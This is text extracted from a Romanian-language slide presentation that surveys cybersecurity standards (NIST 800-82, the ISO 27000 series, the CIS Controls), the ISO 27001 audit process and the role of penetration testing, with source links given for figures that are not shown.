§ NIST 800-82: This guide delivers a plan for protecting industrial control systems.
§ ISO 27000 Series: These standards concentrate on aiding companies to strengthen their information
security practices.
§ CIS Critical Security Controls: These are a set of activities that help companies protect their data against
cyber attack vectors.
ALEGEM TOTDEAUNA CALEA DE MIJLOC
Sursa: https://www.researchgate.net/figure/Cybersecurity-standards-coverage-
adapted-from-40_fig4_352152549

Sursa: https://www.cshub.com/security-strategy/articles/utilizing-cyber-security-standards-and-frameworks
ISO 27001
§ Este un standard internațional menit a ajuta organizațiile să protejeze informațiile (securitatea
informației)

§ ISO/IEC 27001:2013 and ISO/IEC 27002:2013 Information technology – Security techniques – ISO
27001 and ISO 27002 standards bundle
§ ISO/IEC 27017:2015 (ISO 27017) Information technology – Security techniques – Code of practice
for information security controls based on ISO/IEC 27002 for cloud services
§ ISO/IEC 27031:2011 (ISO 27031) Information technology – Security techniques – Guidelines for
information and communication technology readiness for business continuity
§ ISO/IEC 27000:2018 (ISO 27000) Information technology – Security techniques – Information
security management systems – Overview and vocabulary
ISO 27001
Sursa: https://www.kolide.com/blog/the-business-guide-to-iso-27001-compliance-and-certification
PROCESUL DE AUDIT
Sursa: https://www.kolide.com/blog/the-business-guide-to-iso-27001-compliance-and-certification
SECURITATEA DATELOR ESTE UN PROCES...
Sursa: https://verveindustrial.com/resources/blog/the-future-of-ot-security-ot-systems-management/
... IAR TESTAREA ESTE CRUCIALĂ!
Sursa: https://www.researchgate.net/figure/Fig-Phases-of-Penetration-Testing-12_fig1_349077887

S-ar putea să vă placă și